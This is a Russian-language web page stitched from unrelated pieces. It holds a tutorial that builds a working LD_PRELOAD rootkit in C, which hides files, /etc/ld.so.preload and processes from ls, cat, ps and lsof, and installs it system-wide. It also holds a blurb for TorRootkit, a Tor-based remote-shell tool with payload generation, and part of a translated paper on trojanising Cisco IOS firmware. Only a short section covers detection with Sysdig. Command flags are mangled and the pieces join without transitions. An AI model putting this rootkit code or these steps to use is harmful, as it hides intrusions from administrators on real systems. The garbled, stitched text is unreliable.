closedir(0x55de4a72e9d0)          = 0

Оче­вид­но, что при выпол­нении коман­ды без аргу­мен­тов ls исполь­зует сис­темные вызовы
opendir(<wbr />),
readdir(<wbr />) и 
closedir(<wbr />), которые вхо­дят в биб­лиоте­ку libc. Давайте теперь задей­ству­ем
LD_PRELOAD и пере­опре­делим эти стан­дар­тные вызовы сво­ими. Напишем прос­тую биб­лиоте­ку, в которой изме­ним фун­кцию
readdir(<wbr />), что­бы она скры­вала наш файл с кодом.

Здесь мы уже перехо­дим к написа­нию прос­того рут­кита без наг­рузки. Все, что он будет делать, — это пря­тать сам себя от глаз адми­нис­тра­тора сис­темы.

Я соз­дал дирек­торию
rootkit и даль­ше буду работать в ней. Соз­дадим файл
rkit.<wbr />c.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#define RKIT    «rootkit.so»

#define LD_PL   «ld.so.preload»

struct dirent* (*orig_readdir)(DIR *) = NULL;

struct dirent *readdir(DIR *dirp)

{

  if (orig_readdir == NULL)

    orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, «readdir»);

  struct dirent *ep = orig_readdir( dirp );

  while ( ep != NULL &&

        ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||

          !strncmp(ep->d_name, LD_PL, strlen(LD_PL))

        )) {

          ep = orig_readdir(dirp);

         }

  return ep;

}

Ком­пилиру­ем и про­веря­ем работу:

$ gcc Wall fPIC shared o rootkit.so rkit.c ldl

$ ls lah

ито­го 28K

drwxrxrx 2 n0a n0a 4,0K ноя 23 23:46 .

drwxrxrx 4 n0a n0a 4,0K ноя 23 23:33 ..

rwrr 1 n0a n0a  496 ноя 23 23:44 rkit.c

rwxrxrx 1 n0a n0a  16K ноя 23 23:46 rootkit.so

$ LD_PRELOAD=./rootkit.so ls lah

ито­го 12K

drwxrxrx 2 n0a n0a 4,0K ноя 23 23:46 .

drwxrxrx 4 n0a n0a 4,0K ноя 23 23:33 ..

rwrr 1 n0a n0a  496 ноя 23 23:44 rkit.c

Нам уда­лось скрыть файл
rootkit.<wbr />so от пос­торон­них глаз. Пока мы тес­тирова­ли биб­лиоте­ку исклю­читель­но в пре­делах одной коман­ды.

Используем /etc/ld.so.preload

Да­вайте вос­поль­зуем­ся записью в
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload для сок­рытия нашего фай­ла от всех поль­зовате­лей сис­темы. Для это­го запишем в 
ld.<wbr />so.<wbr />preload путь до нашей биб­лиоте­ки:

# ls

rkit.c  rootkit.so

# echo $(pwd)/rootkit.so > /etc/ld.so.preload

# ls

rkit.c

Те­перь мы скры­ли файл ото всех поль­зовате­лей (хотя это не сов­сем так, но об этом поз­же). Но опыт­ный адми­нис­тра­тор доволь­но лег­ко нас обна­ружит, так как само по себе наличие фай­ла
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload может говорить о при­сутс­твии рут­кита — осо­бен­но если рань­ше такого фай­ла не было.

Скрываем ld.so.preload

Да­вайте попыта­емся скрыть из лис­тинга и сам файл
ld.<wbr />so.<wbr />preload. Нем­ного модифи­циру­ем код
rkit.<wbr />c:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#define RKIT    «rootkit.so»

#define LD_PL   «ld.so.preload»

struct dirent* (*orig_readdir)(DIR *) = NULL;

struct dirent *readdir(DIR *dirp)

{

  if (orig_readdir == NULL)

    orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, «readdir»);

  struct dirent *ep = orig_readdir( dirp );

  while ( ep != NULL &&

        ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||

          !strncmp(ep->d_name, LD_PL, strlen(LD_PL))

        )) {

          ep = orig_readdir(dirp);

         }

  return ep;

}

Для наг­ляднос­ти я добавил к пре­дыду­щей прог­рамме еще один мак­рос
LD_PL c име­нем фай­ла
ld.<wbr />so.<wbr />preload, который мы так­же добави­ли в цикл
while, где срав­нива­ем имя фай­ла для скры­тия.

Пос­ле ком­пиляции исходный файл
rootkit.<wbr />so будет переза­писан и из вывода ути­литы ls про­падет и нуж­ный файл
ld.<wbr />so.<wbr />preload. Про­веря­ем:

$ gcc Wall fPIC shared o rootkit.so rkit.c ldl

$ ls

rkit.c

$ ls /etc/

...

ldap          tmpfiles.d

ld.so.cache   ucf.conf

ld.so.conf    udev

ld.so.conf.d  udisks2

libao.conf    ufw

libaudit.conf updatemotd.d

libblockdev   UPower

...

Здо­рово! Мы толь­ко что ста­ли на один шаг бли­же к пол­ной кон­спи­рации. Вро­де бы это победа, но не спе­шите радовать­ся.

Погружаемся глубже

Попробуем про­верить, смо­жем ли мы про­читать файл
ld.<wbr />so.<wbr />preload коман­дой cat:

$ cat /etc/ld.so.preload

/root/rootkit/src/rootkit.so

Так‑так‑так. Получа­ется, мы пло­хо спря­тались, если наличие нашего фай­ла мож­но про­верить прос­тым чте­нием. Почему так выш­ло?

Оче­вид­но, что для получе­ния содер­жимого ути­лита cat вызыва­ет дру­гую фун­кцию — не 
readdir(<wbr />), которую мы так ста­ратель­но перепи­сыва­ли. Что ж, пос­мотрим, что исполь­зует cat:

$ ltrace cat /etc/ld.so.preload

...

__fxstat(1, 1, 0x7ffded9f6180)      = 0

getpagesize()                       = 4096

open(«/etc/ld.so.preload», 0, 01)   = 3

__fxstat(1, 3, 0x7ffded9f6180)      = 0

posix_fadvise(3, 0, 0, 2)           = 0

...

На этот раз нам нуж­но порабо­тать с фун­кци­ей
open(<wbr />). Пос­коль­ку мы уже опыт­ные, добавим в наш рут­кит фун­кцию, которая при обра­щении к фай­лу
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload будет веж­ливо говорить, что фай­ла не сущес­тву­ет (Error no entry или прос­то
ENOENT).

Сно­ва модифи­циру­ем
rkit.<wbr />c:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

// Добавляем путь, который использует open()

// для открытия файла /etc/ld.so.preload

#define LD_PATH «/etc/ld.so.preload»

#define RKIT    «rootkit.so»

#define LD_PL   «ld.so.preload»

struct dirent* (*orig_readdir)(DIR *) = NULL;

// Сохраняем указатель оригинальной функции open

int (*o_open)(const char*, int oflag) = NULL;

struct dirent *readdir(DIR *dirp)

{

  if (orig_readdir == NULL)

    orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, «readdir»);

  struct dirent *ep = orig_readdir( dirp );

  while ( ep != NULL &&

        ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||

          !strncmp(ep->d_name, LD_PL, strlen(LD_PL))

        )) {

          ep = orig_readdir(dirp);

         }

  return ep;

}

// Работаем с функцией open()

int open(const char *path, int oflag, ...)

{

  char real_path[PATH_MAX];

  if(!o_open)

    o_open = dlsym(RTLD_NEXT, «open»);

  realpath(path, real_path);

  if(strcmp(real_path, LD_PATH) == 0)

  {

    errno = ENOENT;

    return 1;

  }

  return o_open(path, oflag);

}

Здесь мы добави­ли кусок кода, который дела­ет то же самое, что и с
readdir(<wbr />). Ком­пилиру­ем и про­веря­ем:

$ gcc Wall fPIC shared o rootkit.so rkit.c ldl

$ cat /etc/ld.so.preload

cat: /etc/ld.so.preload: Нет такого фай­ла или катало­га

Так гораз­до луч­ше, но это еще далеко не все вари­анты обна­руже­ния
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload.

Мы до сих пор можем без проб­лем уда­лить файл, перемес­тить его со сме­ной наз­вания (и тог­да ls сно­ва его уви­дит), поменять ему пра­ва без уве­дом­ления об ошиб­ке. Даже bash услужли­во про­дол­жит его имя при нажатии на Tab.

В хороших рут­китах, экс­плу­ати­рующих лазей­ку с 
LD_PRELOAD, реали­зован перех­ват сле­дующих фун­кций:

  • listxattr,
    llistxattr,
    flistxattr;
  • getxattr,
    lgetxattr,
    fgetxattr;
  • setxattr,
    lsetxattr,
    fsetxattr;
  • removexattr,
    lremovexattr,
    fremovexattr;
  • open,
    open64,
    openat,
    creat;
  • unlink,
    unlinkat,
    rmdir;
  • symlink,
    symlinkat;
  • mkdir,
    mkdirat,
    chdir,
    fchdir,
    opendir,
    opendir64,
    fdopendir,
    readdir,
    readdir64;
  • execve.

Раз­бирать под­мену каж­дой из них мы, конеч­но же, не будем. Можете в качес­тве при­мера перех­вата перечис­ленных фун­кций пос­мотреть рут­кит cub3 — там все те же
dlsym(<wbr />) и 
RTLD_NEXT.

Скрываем процесс с помощью LD_PRELOAD

При работе рут­киту нуж­но как‑то скры­вать свою активность от стан­дар­тных ути­лит монито­рин­га, таких как lsof, ps, top.

Мы уже доволь­но деталь­но разоб­рались, как работа­ет пере­опре­деле­ние фун­кций
LD_PRELOAD. Для про­цес­сов все то же самое. Более того, стан­дар­тные прог­раммы исполь­зуют в сво­ей работе procfs, вир­туаль­ную фай­ловую сис­тему, которая пред­став­ляет собой интерфейс для вза­имо­дей­ствия с ядром ОС.

Чте­ние и запись в procfs реали­зова­ны так же, как и в обыч­ной фай­ловой сис­теме. То есть, как вы можете догадать­ся, наш опыт с
readdir(<wbr />) здесь при­дет­ся кста­ти.

libprocesshider

Как скрыть активность из монито­рин­га, пред­лагаю рас­смот­реть на хорошем при­мере libprocesshider, который раз­работал Джан­лука Борел­ло (Gianluca Borello), автор Sysdig.com (о Sysdig и методах обна­руже­ния рут­китов
LD_PRELOAD мы погово­рим в кон­це статьи).

Теперь ско­пиру­ем код с GitHub и раз­берем­ся, что к чему:

$ git clone https://github.com/gianlucaborello/libprocesshider

$ cd libprocesshider

$ ls

evil_script.py  Makefile  processhider.c  README.md

В опи­сании к 
libprocesshider все прос­то: дела­ем
make, копиру­ем в 
/<wbr />usr/<wbr />local/<wbr />lib/ и добав­ляем в 
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload. Сде­лаем все, кро­ме пос­ледне­го:

$ make

$ gcc Wall fPIC shared o libprocesshider.so processhider.c ldl

$ sudo mv libprocesshider.so /usr/local/lib/

Пос­мотрим, каким обра­зом ps получа­ет информа­цию о про­цес­сах. Для это­го запус­тим ltrace:

$ ltrace /bin/ps

...

time(0)                                                      = 1606208519

meminfo(0, 4096, 0, 0x7f1787ce9207)                          = 0

openproc(96, 0, 0, 0)                                        = 0x55c6f9f145c0

readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0)  = 0x55c6f8258580

readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7)               = 0x55c6f8258580

readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)               = 0x55c6f8258580

readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)               = 0x55c6f8258580

...

Ин­форма­цию о про­цес­се получа­ем при помощи фун­кции
readproc(<wbr />). Пос­мотрим реали­зацию этой фун­кции в фай­ле
readproc.<wbr />c:

static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) {

  static struct direct *ent;

  char *restrict const path = PT>path;

  for (;;) {

    ent = readdir(PT>procfs);

    if(unlikely(unlikely(!ent) || unlikely(!ent>d_name))) return 0;

    if(likely(likely(*ent>d_name > ‘0’) && likely(*ent->d_name <= ‘9’))) break; } p>tgid = strtoul(ent>d_name, NULL, 10);

  p>tid = p>tgid;

  memcpy(path, «/proc/», 6);

  strcpy(path+6, ent>d_name);

  return 1;

}

Из это­го кода понят­но, что PID про­цес­сов получа­ют, вызывая
readdir(<wbr />) в цик­ле
for. Дру­гими сло­вами, если нет дирек­тории про­цес­са — нет и самого про­цес­са для ути­лит монито­рин­га. При­веду при­мер час­ти кода
libprocesshider, где уже зна­комым нам методом мы скры­ваем дирек­торию про­цес­са:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

...

while(1)

{

    dir = original_##readdir(dirp);

    if(dir) {

        char dir_name[256];

        char process_name[256];

        if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&

            strcmp(dir_name, «/proc») == 0 &&

            get_process_name(dir->d_name, process_name) &&

            strcmp(process_name, process_to_filter) == 0) {

            continue;

        }

    }

     break;

}

return dir;

...

При­чем само имя про­цес­са
get_process_name(<wbr />) берет­ся из 
/<wbr />proc/<wbr />pid/<wbr />stat.

Про­верим наши догад­ки. Для это­го запус­тим пред­лага­емый
evil_script.<wbr />py в фоне:

$ ./evil_script.py 1.2.3.4 1234 &

[1] 3435

3435 — это PID нашего работа­юще­го про­цес­са
evil_script.<wbr />py. Про­верим вывод ути­литы htop и убе­дим­ся, что
evil_script.<wbr />py при­сутс­тву­ет в спис­ке про­цес­сов.

Создание руткита Linux LD_PRELOAD

evil_script.py в спис­ке про­цес­сов htop

Про­верим вывод ps и lsof для обна­руже­ния сетевой активнос­ти:

$ sudo ps aux | grep evil_script.py

root       3435 99.5  0.4  19272  8260 pts/1    R    11:48  63:20 /usr/bin/python ./evil_script.py 1.2.3.4 1234

root       3616  0.0  0.0   6224   832 pts/0    S+   12:52   0:00 grep evil_script.py

$ sudo lsof ni | grep evil_scri

evil_scri 3435        root    3u  IPv4  41410      0t0  UDP 192.168.232.138:52676>1.2.3.4:1234

Те­перь пос­мотрим, сущес­тву­ет ли дирек­тория с PID про­цес­са
evil_script.<wbr />py:

$ sudo ls /proc | grep 3435

3435

$ cat /proc/3435/status

Name: evil_script.py

Umask:  0022

State:  R (running)

Tgid: 3435

Ngid: 0

Pid:  3435

...

Все пред­ска­зуемо. Теперь самое вре­мя добавить биб­лиоте­ку
libprocesshider.<wbr />so в пред­загруз­ку гло­баль­но для всей сис­темы. Про­пишем ее в 
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload:

# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

Про­веря­ем дирек­торию
/<wbr />proc, а так­же вывод lsof и ps.

$ ls /proc | grep 3435

$ lsof ni | grep evil_scri

ps aux | grep evil_script.py

root       3707  0.0  0.0   6244   900 pts/0    S+   13:10   0:00 grep evil_script.py

Ре­зуль­тат налицо. Теперь в 
/<wbr />proc нель­зя пос­мотреть дирек­торию с PID скрип­та
evil_script.<wbr />py. Одна­ко ста­тус про­цес­са по‑преж­нему виден в фай­ле
/<wbr />proc/<wbr />3435/<wbr />status.

$ cat /proc/3435/status

Name: evil_script.py

Umask:  0022

State:  R (running)

Tgid: 3435

Ngid: 0

Pid:  3435

...

По­дыто­жим. В пер­вой час­ти статьи мы изу­чили методы перех­вата фун­кций и их изме­нение, что поз­воля­ет скры­вать рут­киты. А даль­ше про­дела­ли то же самое для скры­тия про­цес­сов от стан­дар­тных ути­лит монито­рин­га.

Как вы догады­ваетесь, прос­тые рут­киты, нес­мотря на все хит­рости, под­дают­ся детек­ту. Нап­ример, при помощи раз­ных манипу­ляций с фай­лом
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload или изу­чения исполь­зуемых биб­лиотек при помощи ldd.

Но что делать, если автор рут­кита нас­толь­ко хорош, что захукал все воз­можные фун­кции, ldd мол­чит, а подоз­рения на сетевую или иную активность все же есть?

Sysdig как решение

В отли­чие от стан­дар­тных инс­тру­мен­тов, ути­лита Sysdig устро­ена по‑дру­гому. По архи­тек­туре она близ­ка к таким про­дук­там, как libcap, tcpdump и Wireshark.

Спе­циаль­ный драй­вер sysdig-probe перех­ватыва­ет сис­темные события на уров­не ядра, пос­ле чего акти­виру­ется фун­кция ядра
tracepoints, которая, в свою оче­редь, запус­кает обра­бот­чики этих событий. Обра­бот­чики сох­раня­ют информа­цию о событии в сов­мес­тно исполь­зуемом буфере. Затем эта информа­ция может быть выведе­на на экран или сох­ранена в тек­сто­вом фай­ле.

Пос­мотрим, как с помощью Sysdig най­ти
evil_script.<wbr />py. К при­меру, по заг­рузке цен­траль­ного про­цес­сора:

$ sudo sysdig c topprocs_cpu

CPU%                Process             PID

———————————————

99.00%              evil_script.py      5979

2.00%               sysdig              5997

0.00%               sshd                928

0.00%               wpa_supplicant      474

0.00%               systemd             909

0.00%               exim4               850

0.00%               sshd                938

0.00%               su                  948

0.00%               in:imklog           472

0.00%               in:imuxsock         472

Мож­но пос­мотреть выпол­нение ps. Бонусом Sysdig покажет, что динами­чес­кий ком­понов­щик заг­ружал поль­зователь­скую биб­лиоте­ку
libprocesshide рань­ше, чем libc:

$ sudo sysdig proc.name = ps

2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps) (out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512 vm_rss=4 vm_swap=0

...

2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so) name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0 2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832

...

2810 00:21:52.721293540 1 ps (3351) > open

2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64linuxgnu/libc.so.6) name=/lib/x86_64linuxgnu/libc.so.6 flags=1(O_RDONLY) mode=0 2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64linuxgnu/libc.so.6) size=832

...

Схо­жие фун­кции пре­дос­тавля­ют ути­литы SystemTap, DTrace и его све­жая пол­ноцен­ная замена — BpfTrace.

Еще по теме: Создание VPN-туннеля в Linux для доступа во внутреннюю сеть

На чтение 2 мин Опубликовано 10.11.2021

Сетевое взаимодействие устанавливается через сеть tor.

Термин “руткит” состоит из двух слов: “root” (который в данном контексте означает привилегированную учетную запись в ОС Linux и Unix) и “kit” (программные компоненты, реализующие инструмент).

Не являясь по своей сути вредоносными, руткиты обычно идут в комплекте с различными видами вредоносного ПО и предоставляют хакеру доступ к вашему компьютеру с административными правами.

rkhunter проверка на наличие руткитов

Таким образом, руткиты могут предоставлять преступникам бэкдор, напрямую красть ваши данные (например, пароли и данные кредитных карт) или включать ваш компьютер в ботнет.

В любом случае, руткит затрудняет обнаружение и удаление.

Содержание

  1. tor-rootkit
  2. Как использовать
  3. Особенности
  4. Shell команды слушателя
  5. Shell команды клиента

tor-rootkit

Как использовать

Клонируйте репозиторий и измените каталог:

git clone https://github.com/emcruise/TorRootkit.git
cd ./tor-rootkit

Создайте docker контейнер:

docker build -t listener .

Запустите контейнер docker:

docker run -v $(pwd)/executables:/executables/ -it listener

Разверните исполняемые файлы: Когда слушатель запущен и работает, он создает каталог “executables”, содержащий различные полезные нагрузки для разных платформ.

TorRootkit/
│    ...
└    executables/

Примечание: Клиент может занять некоторое время для подключения, поскольку исполняемые файлы PyInstaller немного медленнее, и ему необходимо запустить tor.

Особенности

  • Автономные исполняемые файлы для Windows и Linux, включая интерпретатор python и tor
  • Вся коммуникация работает через скрытые сервисы tor, что гарантирует некоторую степень анонимности
  • Слушатель может работать с несколькими клиентами
  • Слушатель генерирует полезную нагрузку для различных платформ при запуске

Shell команды слушателя

Команда Описание
help Отображает меню справки
^C or exit Выход из оболочки
list список всех подключенных клиентов с их соответствующим индексом
select <index> запустить оболочку с клиентом

Shell команды клиента

Команда Описание
help Отображает меню справки
^C or exit Выход из оболочки клиента и возврат в оболочку слушателя
os <command> Выполняет команду в оболочке клиента и возвращает вывод
background Сохраняет соединение с клиентом и возвращается к слушателю

См. также:

  • Три инструмента для сканирования Linux-сервера на наличие вирусов, вредоносных программ и руткитов
  • Поиск руткитов в модулях ядра : Tyton
  • 5 инструментов для сканирования Linux-сервера на вредоносные программы и руткиты
  • Образовательный Ubuntu Linux руткит
  • BEURK – Экспериментальный Unix руткит
  • rkhunter проверка на наличие руткитов
  • 🧱 HiddenWall – Создание скрытых модулей ядра

¯_(ツ)_/¯ Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Пожалуйста, не спамьте и никого не оскорбляйте.

Это поле для комментариев, а не спамбокс.

Рекламные ссылки не индексируются!

virustracker · 2015/11/03 12:24

Источник статьи: https://www.exploit-db.com/docs/38466.pdf

0x01 введение


В этой статье в основном используется Cisco IOS в качестве тестового примера, чтобы объяснить, как изменить образ встроенного ПО. Большинство людей думают, что для этого требуются передовые знания или ресурсы национального уровня.На самом деле, это распространенное заблуждение. Я думаю, что одна из основных причин, по которой люди так думают, заключается в том, что нет статьи или руководства, которые полностью описывают процесс и не объясняют, какие ресурсы необходимы для написания руткита. Однако появление этой статьи изменило этот статус-кво. В этой статье представлены несколько очень полных методов и полное введение во весь процесс, а также приведены необходимые необходимые знания. Если читатели смогут прочитать полный текст, они, наконец, смогут написать базовый, но функциональный руткит-инструмент прошивки. Как только вы поймете все основные идеи и коды в сочетании с рабочей моделью, вы сможете легко написать код загрузчика самостоятельно и расширить функциональность основного загрузчика с помощью динамических модулей памяти. Однако эта статья не будет заходить так далеко. Прежде всего, в статье показано, как разрешить доступ к маршрутизатору с любым паролем, кроме настоящего, путем изменения определенного байта в образе IOS. Во-вторых, в статье объясняется, как перезаписать исходный вызов функции для вызова собственного кода. В качестве примера использован троянец процесса входа, который позволяет указать секретный вторичный пароль для входа. Если вы полностью поймете эту статью, в течение месяца вы сможете создать руткит-инструмент, который будет более мощным, чем руткит SYNful Knock, основываясь на знаниях из этой статьи. Фактически, написание подобного руткита не требует ресурсов на государственном уровне или миллионов долларов инвестиций, а также не требует участия высокотехнологичных аналитических центров. Затем вы обнаружите, что в последние несколько десятилетий прошивки троянских коней можно встретить повсюду на подпольных форумах.

Во-первых, давайте посмотрим, что эксперты говорят о SYNful Knock:

― Эксперты по сетевой безопасности, в том числе DeWalt, говорят, что только небольшое количество стран, обладающих возможностями киберразведки, может выполнять сложные атаки на сетевое оборудование, такое как маршрутизаторы. К странам с такой возможностью относятся Китай, Израиль, Великобритания, Россия и США.
«Как я писал далее, правительственные агентства по подслушиванию обычно проводят такие атаки. Например, мы знаем, что АНБ любит атаковать маршрутизаторы. Если вам нужно угадать, я бы предположил, что это эксплойт, запущенный АНБ.
— Однако характер и гибкость этого инструмента ясно показывают, что это не группа подпольных хакеров, ворующих личную информацию и т. Д. Конечно, это не означает, что у таких хакеров нет соответствующей способности, но что этим хакерам этот метод не нравится. Эта атака носит скорее национальный характер. Двумя главными подозреваемыми являются АНБ и Китай, потому что у них «паранойя в отношении личной информации».
Фактически, учитывая сложность обратного зеркалирования ROMmon и сложность установки зеркала без использования уязвимостей нулевого дня, закулисная атака, скорее всего, будет носить национальный характер.

По мнению некоторых экспертов, для микропрограммы троянца требуются миллионы долларов денежных средств, государственных ресурсов и государственной конфиденциальной информации. Такому руткиту нужно изучить как минимум неделю сборки PowerPC, неделю дизассемблирования и неделю написания кода и отладки. Глядя на это с этой точки зрения, я, как и многие другие, смог написать руткит, который займет 10 лет (хотя у меня всего 5 лет опыта), и мы не являемся ни страной, ни правительственным аналитическим центром. группа. Чтобы развеять слухи о так называемом национальном характере и превосходных исследованиях в области безопасности, мы решили доказать научно-исследовательскому сообществу, как можно относительно просто использовать свою собственную прошивку для создания руткит-инструмента.

Настройки 0x02


Текстовый редактор HT:

apt-get install ht hexedit 
Dynamips + GDB Stub: git clone https://github.com/Groundworkstech/dynamips-gdb-mod 
Скопировать код

Калькулятор программиста:

http://pcalc.sourceforge.net/ 
Binutils / Essentials: apt-get install gcc gdb build-essential binutils  binutils-powerpc-linux-gnu binutils-multiarch 
Скопировать код

Прочие зависимости:

apt-get install libpcap-dev uml-utilities libelf-dev libelf1 
QEMU: apt-get install qemu qemu-common qemuctl qemu-system qemu-system-mips qemu-system-misc qemu-system-ppc qemu-system-x86 
Скопировать код

Зеркало Debian PowerPC:

wget https://people.debian.org/~aurel32/qemu/powerpc/debian_wheezy_powerpc_standard.qcow2 
Скопировать код

QEME также требует следующих дополнительных настроек:

# cd /usr/share/qemu/
# mkdir ../openbios/
# mkdir ../slof/
# mkdir ../openhackware/ # cd ../openbios/
# wget https://github.com/qemu/qemu/raw/master/pc-bios/openbios-ppc
# wget https://github.com/qemu/qemu/raw/master/pc-bios/openbios-sparc32 # wget https://github.com/qemu/qemu/raw/master/pc-bios/openbios-sparc64
# cd ../openhackware/
# wget https://github.com/qemu/qemu/raw/master/pc-bios/ppc_rom.bin # cd ../slof/
# wget https://github.com/qemu/qemu/raw/master/pc-bios/slof.bin
# wget https://github.com/qemu/qemu/raw/master/pc-bios/spapr-rtas.bin
Скопировать код

Клиент QEME должен быть установлен следующим образом:

qemu-host# qemu-system-ppc -m 768 -hda debian_wheezy_powerpc_standard.qcow2
qemu-guest# apt-get update
qemu-guest# apt-get install openssh-server gcc gdb build-essential binutils-multiarch binutils qemu-guest# vi /etc/ssh/sshd_config
qemu-guest# GatewayPorts yes
qemu-guest# /etc/init.d/ssh restart
qemu-guest# ssh -R 22222:localhost:22 <you>@<qemu-host>
Скопировать код

Подключите устройство разработки по SSH к порту 22222 и войдите в клиент QEMU как пользователь root. Это упрощает редактирование файлов, операции копирования и вставки, потому что нет необходимости переключаться в окно QEMU.

Необходимо скомпилировать заглушку Dynamips + GDB. Следующую операцию также необходимо выполнить на машине amd64: изменить конфигурацию в соответствии с требованиями оборудования для разработки.

# git clone https://github.com/Groundworkstech/dynamips-gdb-mod Cloning into 'dynamips-gdb-mod'...
remote: Counting objects: 290, done.
remote: Total 290 (delta 0), reused 0 (delta 0), pack-reused 290 Receiving objects: 100% (290/290), 631.30 KiB | 0 bytes/s, done. Resolving deltas: 100% (73/73), done.
Checking connectivity... done.
# cd dynamips-gdb-mod/src
# DYNAMIPS_ARCH=amd64 make
Linking rom2c
cc: error: /usr/lib/libelf.a: No such file or directory make: *** [rom2c] Error 1
# updatedb
# locate libelf.a /usr/lib/x86_64-linux-gnu/libelf.a
# cat Makefile |grep "/usr/lib/libelf.a"
LIBS=-L/usr/lib -L. -ldl /usr/lib/libelf.a $(PTHREAD_LIBS)
LIBS=-L. -ldl /usr/lib/libelf.a -lpthread
# cat Makefile | sed -e 's#/usr/lib/libelf.a#/usr/lib/x86_64-linux-gnu/libelf.a#g' >Makefile.1
# mv Makefile Makefile.bak
# mv Makefile.1 Makefile
# DYNAMIPS_ARCH=amd64 make
Скопировать код

Затем нам нужно использовать простой скрипт для вычисления двоичной контрольной суммы, потому что мы будем использовать этот двоичный файл позже. Сохраните контрольную сумму в файле chksum.pl и поместите ее в каталог разработки. Преобразуйте этот файл в исполняемый файл с помощью chmod + x.

#!perl
#!/usr/bin/perl
sub checksum {
my $file = $_[0];
open(F, "< $file") or die "Unable to open $file ";
print "n[!] Calculating the checksum for file $filenn"; 
binmode(F);
my $len = (stat($file))[7];
my $words = $len / 4;
print "[*] Bytes: t$lenn";
print "[*] Words: t$wordsn";
printf "[*] Hex: t0x%08lxn",$len;
my $cs = 0;
my ($rsize, $buff, @wordbuf);
for(;$words; $words -= $rsize) {
$rsize = $words < 16384 ? $words : 16384;
read F, $buff, 4*$rsize or die "Can't read file $file : $!n";
 @wordbuf = unpack "N*",$buff;
foreach (@wordbuf) {
$cs += $_;
$cs = ($cs + 1) % (0x10000 * 0x10000) if $cs > 0xffffffff; 
}
}
printf "[*] Checksum: t0x%lxnn",$cs; 
return (sprintf("%lx", $cs));
close(F);
}
if ($#ARGV + 1 != 1) {
print "nUsage: ./chksum.pl <file>nn"; 
exit;
} 
checksum($ARGV[0]);
Скопировать код

Кроме того, также необходимы несколько ресурсов, но мы не можем давать ссылки в статье. Однако вы сможете найти эти ресурсы и не столкнетесь с какими-либо проблемами с настройками. Затем вам необходимо установить эти ресурсы на виртуальную машину, используемую для разработки, а затем создать клиент Windows 7. После завершения настроек войдите в свою виртуальную машину Windows и установите «IDA Pro 6.6 + Hex-Rays Decompiler» или любую другую версию — убедитесь, что вы установили полную версию, которая поддерживает архитектуры, отличные от x86 / x64. , Потому что мы в основном используем язык ассемблера PowerPC. Пожалуйста, не взламывайте программное обеспечение IDA, IDA — очень простая в использовании программа, которая стоит нашей покупки.

Наконец, вам понадобится образ IOS. Используемый нами образ взят с приобретенного нами Cisco 2600, а имя файла — «c2600-bino3s3-mz.123-22.bin». Мы настоятельно рекомендуем вам войти в свою учетную запись Cisco и загрузить этот образ — использование того же образа может гарантировать, что вы работаете в точном соответствии с нашими требованиями, а смещение, контрольная сумма, длина и т. Д. Также согласованы. Как мы все знаем, некоторые так называемые «обучающиеся только» образы IOS, загружаемые в некоторых сообществах, а также образы IOS с дополнительными функциями, на самом деле имплантируются троянами. В дополнение к проверке по хешу мы также рекомендуем вам использовать «Cisco Incident Response» FX для проверки вашего образа IOS.

Для нашего оборудования для разработки подсказка: «[[email protected] ] # «; Запрос QEMU, подсказка:» [[email protected] ]#。

0x03 разработка


Используйте следующую команду распаковки, чтобы распаковать IOS image-c2600-bino3s3-mz.123-22.bin:

[ [email protected] ]# unzip c2600-bino3s3-mz.123-22.bin
Archive: c2600-bino3s3-mz.123-22.bin
warning [c2600-bino3s3-mz.123-22.bin]: 16876 extra bytes at beginning or within zipfile
(attempting to process anyway) 
inflating: C2600-BI.BIN
Скопировать код

===========================

= Структура IOS BIN =

[Заголовок ELF]
[SFX ]
[0xfeedface ]
[Размер несжатого изображения]
[Размер изображения после сжатия]
[Контрольная сумма изображения после сжатия]
[Несжатая контрольная сумма зеркала]

[Данные PKzip]

